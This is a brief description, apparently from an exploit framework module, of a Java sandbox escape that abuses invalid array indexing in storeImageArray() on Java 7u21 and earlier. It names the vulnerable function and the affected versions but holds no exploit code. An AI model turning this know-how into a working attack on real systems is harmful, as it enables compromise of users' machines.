				This module abuses an Invalid Array Indexing Vulnerability on the
				static function storeImageArray() function in order to produce a
				memory corruption and finally escape the Java Sandbox. The vulnerability
				affects Java version 7u21 and earlier. The module, which doesn't bypass
				click2play, has been tested successfully on Java 7u21 on Windows and
				Linux systems.
